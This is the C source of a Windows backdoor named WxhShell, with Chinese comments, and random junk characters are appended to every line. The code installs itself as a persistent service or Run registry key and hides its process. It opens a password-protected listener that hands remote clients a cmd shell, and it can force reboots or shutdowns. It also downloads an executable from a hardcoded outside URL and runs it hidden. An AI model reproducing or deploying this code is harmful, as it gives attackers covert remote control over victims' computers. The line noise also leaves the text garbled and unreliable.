  case 'd': { q j9q   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {%y|A{}c  
    if(Boot(SHUTDOWN)) ! jDopE0L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MI:%Eq  
    else { ouFKqRs;  
    closesocket(wsh); sD{Wc%5  
    ExitThread(0); LH`2Y,E  
    } KPjAk  
    break; jk\V2x@DR  
    } VUHf-bKl  
  // 获取shell C"s-ttP   
  case 's': { vo&h6'i>7  
    CmdShell(wsh); 4ZR2U3jd1  
    closesocket(wsh); >*!^pbZfX  
    ExitThread(0); oZl%0Uy?9I  
    break; `cN8AcRHP  
  } 9zCuVUcd$.  
  // 退出 `f~$h?}3-@  
  case 'x': { &0%B3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E:PPb9Kd  
    CloseIt(wsh); xpwy%uo  
    break; g4+Hq *  
    } & 2q<#b  
  // 离开 !u  .n  
  case 'q': { %Lh+W<;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8ZCA vEy  
    closesocket(wsh); ^L7!lzyo  
    WSACleanup(); H/;AlN|!  
    exit(1); h5-yhG  
    break; Q&?0 ^;r  
        } ,\#s_N 7  
  } y"U)&1 c%  
  } NZ6:Zz M  
BD86t[${W  
  // 提示信息 koD}o^U#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~3f|-%Z  
} Rr[Wka9[  
  } )N1iGJO)  
ucU7 @j  
  return; PCV#O63[  
} }4h0 {H  
19!;0fe=  
// shell模块句柄 {Ja(+NQ  
int CmdShell(SOCKET sock) 7-~)/7L  
{ %f1IV(3Qc  
STARTUPINFO si; 4*5e0:O  
ZeroMemory(&si,sizeof(si)); 3?L[ohKH?:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T0)bnjm  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k%kEW%I yG  
PROCESS_INFORMATION ProcessInfo; bQwG"N  
char cmdline[]="cmd"; twbxi{8e.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zDbO~.d  
  return 0; 6iF&!Fd>J  
} u4m8^fj+ T  
c14d0x{  
// 自身启动模式 RO%M9LISI  
int StartFromService(void) @EyB^T/  
{ UX<-jY#'V  
typedef struct n~}[/ly  
{ Iw h0PfWJ  
  DWORD ExitStatus; dga4|7-MY  
  DWORD PebBaseAddress; #d/T7c#  
  DWORD AffinityMask; <m VFC  
  DWORD BasePriority; 8"-=+w.CZ  
  ULONG UniqueProcessId; ED" fi$  
  ULONG InheritedFromUniqueProcessId; T JZ~Rpq  
}   PROCESS_BASIC_INFORMATION; ;BT7pyu%[  
fiD,HGx i  
PROCNTQSIP NtQueryInformationProcess; uozq^sy  
|0}7/^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K9p<PLy+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]j6K3  
}HmkTk  
  HANDLE             hProcess; CmBgay  
  PROCESS_BASIC_INFORMATION pbi; O"\_%=X9  
Hs:zfvD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); : xggo  
  if(NULL == hInst ) return 0; ju "?b2f  
rBi<Yy$z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _;Xlw{FN^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); QJrXn6`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rwP)TJh"  
L%Rw]=v}v  
  if (!NtQueryInformationProcess) return 0; bu_@A^ys  
_5~|z$GW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5dN>Xjpu  
  if(!hProcess) return 0; ge6S_"  
>3KlI  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v~T)g"_|  
Ka-o$o[^u`  
  CloseHandle(hProcess); rr1'| k "  
S#B%[3@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x>TIx[ x  
if(hProcess==NULL) return 0; ?YZgH>7"  
ex1!7A!}g  
HMODULE hMod; ,pdzi9@=t  
char procName[255]; I]+ zG  
unsigned long cbNeeded; &dmIv[LU  
-Pt E+R[A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f77W{T4  
3ej237~F,L  
  CloseHandle(hProcess); R8u8jG(4  
r0lI&25w  
if(strstr(procName,"services")) return 1; // 以服务启动 JQ0Z%;"  
,&=7ir14>R  
  return 0; // 注册表启动 0|tyKP|J  
} jLI1Ed  
 ~,&8)1  
// 主模块 g_P98_2f.k  
int StartWxhshell(LPSTR lpCmdLine) r /a@ x9  
{ (Z?f eUxp  
  SOCKET wsl; Ua 6O~,\  
BOOL val=TRUE; uKM` umE  
  int port=0; @YH>|{S&  
  struct sockaddr_in door; [qRww]g;P|  
S}U_uZ$b  
  if(wscfg.ws_autoins) Install(); 6:B,ir _  
R$ +RTG:E  
port=atoi(lpCmdLine); h~Z &L2V  
>h#juO"  
if(port<=0) port=wscfg.ws_port; R(^Sse  
6c-'CW  
  WSADATA data; *f;$5B#^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2 SD Z  
RxJbQs$Ph  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ineSo8| @  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4vG-d)"M2  
  door.sin_family = AF_INET; R"O%##Ws  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fDB. r$|d  
  door.sin_port = htons(port); ((`{-y\K  
OQ_< Vxz  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F#<:ZByjJ@  
closesocket(wsl); Y96<c" t  
return 1; 4 5.g;  
} AU`z.Isf  
uuFQTx))  
  if(listen(wsl,2) == INVALID_SOCKET) { T|S-?X,  
closesocket(wsl); T>| hID  
return 1; sB *dv06b0  
} G5t7KI  
  Wxhshell(wsl); .Er+*j;&w  
  WSACleanup(); +<xQF  
URm<Ji  
return 0; -nC&t~sD  
j1{`}\e  
} 0.R3(O  
'G % ]/'_U  
// 以NT服务方式启动 LXby(|< j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,D`jlY-1l  
{ 6q>iPK Jt  
DWORD   status = 0; vD9.X}l]  
  DWORD   specificError = 0xfffffff; |#cqxr"  
C7m/<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0H +nVR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3 I%N4K4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `fEzE\\!*  
  serviceStatus.dwWin32ExitCode     = 0; 8 NNh8k#6  
  serviceStatus.dwServiceSpecificExitCode = 0; RY)x"\D  
  serviceStatus.dwCheckPoint       = 0; Wkk(6gS,  
  serviceStatus.dwWaitHint       = 0; + XBF,<P  
m2(}$z3e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z D"*fr  
  if (hServiceStatusHandle==0) return; S#p_Y^A  
:/][ n9J^  
status = GetLastError(); X}3?k<m  
  if (status!=NO_ERROR) C "@>NC_  
{ 9 $X" D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; mpwh=  
    serviceStatus.dwCheckPoint       = 0; O zC%6;6h  
    serviceStatus.dwWaitHint       = 0; NkGtZ.!pk  
    serviceStatus.dwWin32ExitCode     = status; ShV_8F z  
    serviceStatus.dwServiceSpecificExitCode = specificError; {GCp5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xqm ?@JN  
    return; Pr%KcR ;  
  } FG71<}C[K  
.e3@fq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Iy*Q{H3[  
  serviceStatus.dwCheckPoint       = 0; n?OMfx  
  serviceStatus.dwWaitHint       = 0; yG~Vvpv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); GcO:!b*YMp  
} G2!<C-T{2  
2,I]H'}^  
// 处理NT服务事件,比如:启动、停止 $d-yG553  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xgNV0;g,  
{ sEw ?349Bz  
switch(fdwControl) M{)eA<6  
{ qPDRB.K|}  
case SERVICE_CONTROL_STOP: TZ n2,N  
  serviceStatus.dwWin32ExitCode = 0; 6f#Mi+"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; GYJ j$'  
  serviceStatus.dwCheckPoint   = 0; =$^}"}$  
  serviceStatus.dwWaitHint     = 0; L?8OWLjRy  
  { [Ax :gj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +B+cN[d  
  } *&_A4)  
  return; xo ^|d3  
case SERVICE_CONTROL_PAUSE: W95q1f# 7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >N`, 3;Z  
  break; dn42'(p@G  
case SERVICE_CONTROL_CONTINUE: +",`Mb  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3_ E}XQd  
  break; I-J%yutB  
case SERVICE_CONTROL_INTERROGATE: _m a;b<I/<  
  break; $j(4FyH\  
}; ib]<;t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BjjuZN&  
} v{1g`E  
~Lu,jLKL=[  
// 标准应用程序主函数 q~AvxO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #t# S(A9)  
{ ;U tEHvE*  
Bz:Hp{7&  
// 获取操作系统版本 m^/>C -&C  
OsIsNt=GetOsVer(); 3_eg'EP.E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); oc-o>H  
GV9pet89yu  
  // 从命令行安装 mkBQ TQGT  
  if(strpbrk(lpCmdLine,"iI")) Install(); `q\v~FT  
3%x-^.  
  // 下载执行文件 ^b.fci{1m  
if(wscfg.ws_downexe) { r|3u]rt  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0r&FH$  
  WinExec(wscfg.ws_filenam,SW_HIDE); q}g0-Da  
} e6T?2`5P  
zrtbk~v8y  
if(!OsIsNt) { LzB*d  
// 如果时win9x,隐藏进程并且设置为注册表启动 zFwO(  
HideProc(); = j l( Q  
StartWxhshell(lpCmdLine); ,~K4+ t_  
} GsqO^SV  
else 7:.!R^5H  
  if(StartFromService()) @$!"}xDR'  
  // 以服务方式启动 $7Lcn9 ?G  
  StartServiceCtrlDispatcher(DispatchTable); Y$3liDeL=  
else fX&g. fH  
  // 普通方式启动 ~;wR}s<}(  
  StartWxhshell(lpCmdLine); U[@B63];0  
Z>'hNj)ju  
return 0; <2+FE/3L  
} LyNur8 Zi  
,#.^2O9-^  
<|a9r: [  
B8V85R  
=========================================== .Ag)/Xm(?  
QVN @B[9  
@y# u!}  
^DR`!.ttr  
.noY[P 8i  
??P> HVx  
" -n$hm+S  
a'\fS7aE0l  
#include <stdio.h> j 2Jew  
#include <string.h> )|S!k\^A  
#include <windows.h> 4wwRNu*  
#include <winsock2.h> m] IN-'  
#include <winsvc.h> }e,*'mCC*  
#include <urlmon.h> N8]d0  
\,b_8^  
#pragma comment (lib, "Ws2_32.lib") *wz62p  
#pragma comment (lib, "urlmon.lib") !2]G.|5/A  
_57 68G`P  
#define MAX_USER   100 // 最大客户端连接数 9uY$@7qH  
#define BUF_SOCK   200 // sock buffer x$V[xX  
#define KEY_BUFF   255 // 输入 buffer J,wpY$93  
QEq>zuz5;  
#define REBOOT     0   // 重启 xV5eKV  
#define SHUTDOWN   1   // 关机 c< g{ &YJ  
knu>{a}  
#define DEF_PORT   5000 // 监听端口 ]4oF!S%F  
3sBu`R*hk  
#define REG_LEN     16   // 注册表键长度 ob>2SU[Y  
#define SVC_LEN     80   // NT服务名长度 T$9tO{  
:mz6*0qW  
// 从dll定义API X9n},}bJ"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p\/;^c`7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); HA(G q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z&0*\.6S~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D7b] ;Nf\  
5i1Xumh 4  
// wxhshell配置信息 \P0>TWE  
struct WSCFG { q%GlS=o "  
  int ws_port;         // 监听端口 $[8GFv  
  char ws_passstr[REG_LEN]; // 口令 xD<:'-ri>  
  int ws_autoins;       // 安装标记, 1=yes 0=no '0>w_ge4  
  char ws_regname[REG_LEN]; // 注册表键名 41jx+ 0\Z  
  char ws_svcname[REG_LEN]; // 服务名 '}NQ`\k  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 c2<JS:!*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 seEG~/U<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?Dk&5d^d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hbv>Jjd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p+ bT{:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I= 'S).  
PF?tEw_WB  
}; V8.o}BWY  
H$i4OQ2  
// default Wxhshell configuration "]C$"JR  
struct WSCFG wscfg={DEF_PORT, 48 `k"Uy   
    "xuhuanlingzhe", {  'Db  
    1, 2-*zevPiG=  
    "Wxhshell", R3SAt-IE  
    "Wxhshell", `Al( AT(p  
            "WxhShell Service", UfnjhHu  
    "Wrsky Windows CmdShell Service", %;|^*?!J0  
    "Please Input Your Password: ", IirXF?&t  
  1, A\7qPfpG  
  "http://www.wrsky.com/wxhshell.exe", Spossp`|  
  "Wxhshell.exe" %4~2  
    }; pIy+3&\e;  
& A%*sD6  
// 消息定义模块  k_;+z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ir%?J&C+t  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kF lq@['U  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `}YCUm[SI  
char *msg_ws_ext="\n\rExit."; ,Mp/Y>f  
char *msg_ws_end="\n\rQuit."; y JJNr]oq  
char *msg_ws_boot="\n\rReboot..."; ' ?3e1  
char *msg_ws_poff="\n\rShutdown..."; WZ a?Xb  
char *msg_ws_down="\n\rSave to "; ?,J'3nZ'  
CE19V:zp  
char *msg_ws_err="\n\rErr!"; `is."]%f  
char *msg_ws_ok="\n\rOK!"; a.r+>44M  
cZ{-h  
char ExeFile[MAX_PATH];   SW ^F  
int nUser = 0; gxS*rzCG  
HANDLE handles[MAX_USER]; n-P)X<\  
int OsIsNt; <lj;}@qQ<  
yaiw|j`A  
SERVICE_STATUS       serviceStatus; H]7MNY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; QN!$41A?{  
s3sAw~++  
// 函数声明 XANPI|  
int Install(void); mlsM;A d2  
int Uninstall(void); h7iI=[_V  
int DownloadFile(char *sURL, SOCKET wsh); VfK8')IXk  
int Boot(int flag); G(2(-x"+  
void HideProc(void); 9U[ A   
int GetOsVer(void); D\}A{I92F4  
int Wxhshell(SOCKET wsl); 'gDhi!h%  
void TalkWithClient(void *cs); U,?[x2LF  
int CmdShell(SOCKET sock); H B}!Lf#*P  
int StartFromService(void); w%(Ats  
int StartWxhshell(LPSTR lpCmdLine); ^h}xFiAV#  
uTgvMkO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \G+ hi9T(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E>t5/^c)*w  
\t6k(5J  
// 数据结构和表定义 \OV><|Lkh  
SERVICE_TABLE_ENTRY DispatchTable[] = ?U\@?@  
{ W$g<nhLK  
{wscfg.ws_svcname, NTServiceMain}, PyOj{WX>W  
{NULL, NULL} B:-qUuS?R  
}; h[|c?\E z  
Y7TW_[_u  
// 自我安装 vkFq/+'U  
int Install(void) [8F1rZ&  
{ A4lW8&rHI  
  char svExeFile[MAX_PATH]; @WmEcX|  
  HKEY key; I{e[Y_  
  strcpy(svExeFile,ExeFile); %r1NRg8  
P4&3jQ[o  
// 如果是win9x系统,修改注册表设为自启动 381a(F[$e  
if(!OsIsNt) { qD@]FEw!O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _$g2;X >  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !'y9/  
  RegCloseKey(key); v}vwk8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fl8~*\;Xu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); it Byw1/  
  RegCloseKey(key); qL;OE.?oA  
  return 0; C`4m#  
    } Ez\TwK  
  } >S<`ri'5_  
} |"j{!Ei  
else { 0Nvk|uI V[  
Rm^3K   
// 如果是NT以上系统,安装为系统服务 8%eWB$<X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )=~OP>7B  
if (schSCManager!=0) Wu}84W"!.V  
{ dF@m4U@L  
  SC_HANDLE schService = CreateService XfYMv38(  
  ( V8Lp%*(3  
  schSCManager, 3FD6.X>x  
  wscfg.ws_svcname, h83W;s  
  wscfg.ws_svcdisp, xaPaK-  
  SERVICE_ALL_ACCESS, [:CV5k~xc  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e7n[NVrX  
  SERVICE_AUTO_START, k H.e"e  
  SERVICE_ERROR_NORMAL, -~Ll;}nZC  
  svExeFile, H ~VeY\:w  
  NULL, ?M<q95pL  
  NULL, -z s5WaJn/  
  NULL, 9;ZaL7>  
  NULL, UrMEL; @g  
  NULL !_yWe  
  ); ?:sk [f6  
  if (schService!=0) [3@Pu.-I+M  
  { n'5LY9"  
  CloseServiceHandle(schService); 3Fu5,H EJ  
  CloseServiceHandle(schSCManager); )z" .lw  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Wb1?>q  
  strcat(svExeFile,wscfg.ws_svcname); L?Fb}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { prk@uYCa =  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >bLhCgF:"  
  RegCloseKey(key); "mtEjK5  
  return 0;  l_2B  
    } )/p=ZH0[  
  } 85}S8\_u  
  CloseServiceHandle(schSCManager); 1_=I\zx(  
} PxvD0GTW  
} +jPJv[W  
S/2lK*F  
return 1; +lhjz*0  
} 4#Bzq3,|  
ja-,6*"k  
// 自我卸载 )w_hbU_Pb&  
int Uninstall(void) jap5FG+2  
{ /a .XWfu  
  HKEY key; %7S{g  
0^25uAD=  
if(!OsIsNt) { sJ>JHv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '}N4SrU$  
  RegDeleteValue(key,wscfg.ws_regname); 4}r.g0L  
  RegCloseKey(key); _qf$dGqc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PiVp(; rtQ  
  RegDeleteValue(key,wscfg.ws_regname); ul&}'jBr  
  RegCloseKey(key); tt03 gU`  
  return 0; )4;$;a1  
  } X 2Zp @q(  
} H?4t\pSS  
} Ywo=w:'  
else { Htm;N2$d  
KLpFW}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [KW9J}]  
if (schSCManager!=0) 5M? I-m  
{ U:fGIEz{ZY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l|S_10x5  
  if (schService!=0) m5%E1k$=  
  { cR6Rb[9 N  
  if(DeleteService(schService)!=0) { eAK=ylF;  
  CloseServiceHandle(schService); FwpTQix!  
  CloseServiceHandle(schSCManager); 8=,?B h".  
  return 0; 7Ml OBPh  
  } HXP/2&|JY  
  CloseServiceHandle(schService); QD;:!$Du  
  } ZPlY]e  
  CloseServiceHandle(schSCManager); Vif)e4{Pn  
} D}/nE>*  
} Fvr$K*u  
KN:V:8:J  
return 1; [N_)V kpr  
} >f:OU,"  
Dq<!wtFG[  
// 从指定url下载文件 ja%IGaH;s  
int DownloadFile(char *sURL, SOCKET wsh) %g7B*AX]  
{ IQyw>_~]  
  HRESULT hr; -cB>; f)5r  
char seps[]= "/"; 0[92&:c,  
char *token; ZJOO*S  
char *file; OP98sd&T  
char myURL[MAX_PATH]; 9)S,c =z83  
char myFILE[MAX_PATH]; a/gr1  
feT.d +Fd  
strcpy(myURL,sURL); **~1`_7~*  
  token=strtok(myURL,seps); ;BW-ag \9  
  while(token!=NULL) "rcV?5?v~  
  { w^)_Fk3  
    file=token; wT&P].5n  
  token=strtok(NULL,seps); Kj6@=  
  } xeKfc}:&z  
#F:\_!2c  
GetCurrentDirectory(MAX_PATH,myFILE); zxy/V^mu  
strcat(myFILE, "\\"); HC RmW'  
strcat(myFILE, file); ?dQ#%06mn  
  send(wsh,myFILE,strlen(myFILE),0); r^+n06[  
send(wsh,"...",3,0); `m\l#r 2C  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Yzih-$g  
  if(hr==S_OK) PaBqv]  
return 0; 4@"n7/<  
else B0ZLGB  
return 1; f4+}k GJN  
`YK%I8  
}  r95$( N  
sXR}#*8p  
// 系统电源模块 KZI-/H+  
int Boot(int flag) X  m%aT  
{ OIrr'uNH  
  HANDLE hToken; !kWx'tJ$  
  TOKEN_PRIVILEGES tkp; J85Kgd1 \a  
g?e-D.pSF  
  if(OsIsNt) { <'92\O  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m^Rf6O^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [p 8fg!|  
    tkp.PrivilegeCount = 1; KL+,[M@ F  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #brV{dHV,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -LMO f?  
if(flag==REBOOT) { )! C|DSw  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U?yKwH^{  
  return 0; o>ZlA3tv  
} 5JA5:4aev  
else { `I)ftj%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m|cT)-  
  return 0; Tp fC  
} ^]1M8R,  
  } '/K-i.8F  
  else { m/>z}d05h  
if(flag==REBOOT) { O^I%Xk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6>; dJV  
  return 0; pk:2>sx/  
} 7EukrE<b'  
else { X~5kgq0"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *q+z5G;O  
  return 0; 4f{(Scg  
} oB]   
} *kWrF* )J  
aBx8wl*Vm  
return 1; ziBg'  
}  C#x9RW  
a]u1_ $)  
// win9x进程隐藏模块 <j$n7#qk  
void HideProc(void) }Qo:;&"3  
{ +x"cWOg  
[MVG\6Up(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Uq}-<q  
  if ( hKernel != NULL ) >"q~9b A  
  { @ I$;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); WQT;k0;T]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); CUo %i/R  
    FreeLibrary(hKernel); -H;p +XAY  
  } ;wkoQ8FD9  
:6Oh?y@  
return; . |g67PH=  
} X #!oG)or  
-8r9DS -/W  
// 获取操作系统版本 C/L+:b&x~  
int GetOsVer(void) gAWrn^2L5  
{ b#<@&0KE  
  OSVERSIONINFO winfo; ~J:"sUR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ssy+x;<x,  
  GetVersionEx(&winfo); (}C%g{8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )FfJ%oT}  
  return 1; W~&PGmRI  
  else ?NL>xMA  
  return 0; N7`<t&T@  
} {} 11U0  
}m6j6uAR6)  
// 客户端句柄模块 u*NU MT2  
int Wxhshell(SOCKET wsl) C/!c?$J  
{  FGP~^Dr/  
  SOCKET wsh; r ]cC4%in  
  struct sockaddr_in client; ?/,sKF74i  
  DWORD myID; faVR %  
> CPJp!u  
  while(nUser<MAX_USER) jBvZ>H+w~  
{ aDik1Q  
  int nSize=sizeof(client); Y C uuj$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Tmo+I4qoL  
  if(wsh==INVALID_SOCKET) return 1; !1H\*VM "  
\y%:[g}Fvw  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); DfCo=  
if(handles[nUser]==0) Ti@X< C  
  closesocket(wsh); r"MKkS EM  
else o9:GKc  
  nUser++; hkO)q|1  
  } B(GcPDj(K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z5CWgN  
dpBG)Xzoyv  
  return 0; %` c?cB  
} S|8O$9{x9q  
Xjal6e)[  
// 关闭 socket 3eV(2  
void CloseIt(SOCKET wsh) {GS7J  
{ eKL)jzC:  
closesocket(wsh); 4g#pQ  
nUser--; Ah2%LXdHA  
ExitThread(0); eTc0u;{V  
} &\\iD :J  
7^bO`  
// 客户端请求句柄 S? }@2[  
void TalkWithClient(void *cs) a; Ihv#q  
{ >s E5zj|V  
ba?]eK   
  SOCKET wsh=(SOCKET)cs; fN8|4  
  char pwd[SVC_LEN]; Ml)Xq-&wc  
  char cmd[KEY_BUFF]; Riq5Au?*)  
char chr[1]; =;{vfjj  
int i,j; K5Fzmo a  
A$RN7#  
  while (nUser < MAX_USER) { A"V3g`dP  
{Ex0mw)T  
if(wscfg.ws_passstr) { <3;/,>^ Pm  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BCya5!uy  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); snTj!rV/_  
  //ZeroMemory(pwd,KEY_BUFF); bQk5R._got  
      i=0; ;o\0:fzr  
  while(i<SVC_LEN) { bwo"s[w  
Mi\f?  
  // 设置超时 r+HJ_R,5A  
  fd_set FdRead; l[ ^bo/  
  struct timeval TimeOut; nTj Q4y  
  FD_ZERO(&FdRead); r]'AdJFt  
  FD_SET(wsh,&FdRead); nX>k}&^L  
  TimeOut.tv_sec=8; vKDPg p<j  
  TimeOut.tv_usec=0; LX j Tqp'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B$Jn|J"/6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L[+65ce%*  
+bd/*^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Tk/K7h^  
  pwd=chr[0]; u=#!je  
  if(chr[0]==0xd || chr[0]==0xa) { udg;jR-^  
  pwd=0; 8(%iYs$  
  break; qwA: o-q"  
  } @ky5X V  
  i++; Lm'Ony^F  
    } G\TyXq_4  
h vGb9  
  // 如果是非法用户,关闭 socket yA(H=L-=!1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e&F,z=XJ}  
} &cDnZ3Q;  
+YhTb  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LPT5d 7K@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2NsI3M4$8  
V )1SZt@x  
while(1) { R^dAwt`.D  
[ OMcSd|nf  
  ZeroMemory(cmd,KEY_BUFF); Aye!@RjM8  
Wuye:b!  
      // 自动支持客户端 telnet标准   IcPIOCmOc  
  j=0; a+zE`uY  
  while(j<KEY_BUFF) { ,_YCl09p(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]=q?= %H  
  cmd[j]=chr[0]; ctdV4%^{  
  if(chr[0]==0xa || chr[0]==0xd) { {:od=\*R  
  cmd[j]=0; |? ?uVA)\X  
  break; :(A]Bm3  
  } kHX- AsRc  
  j++; <J{VTk ~  
    } ;% !'K~  
#12PO q  
  // 下载文件 Gt\F),@  
  if(strstr(cmd,"http://")) { &bs/a] ?Z7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @?G.6r~  
  if(DownloadFile(cmd,wsh)) +UHf&i/3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); D19uI&U4  
  else 98Pt&C?-B  
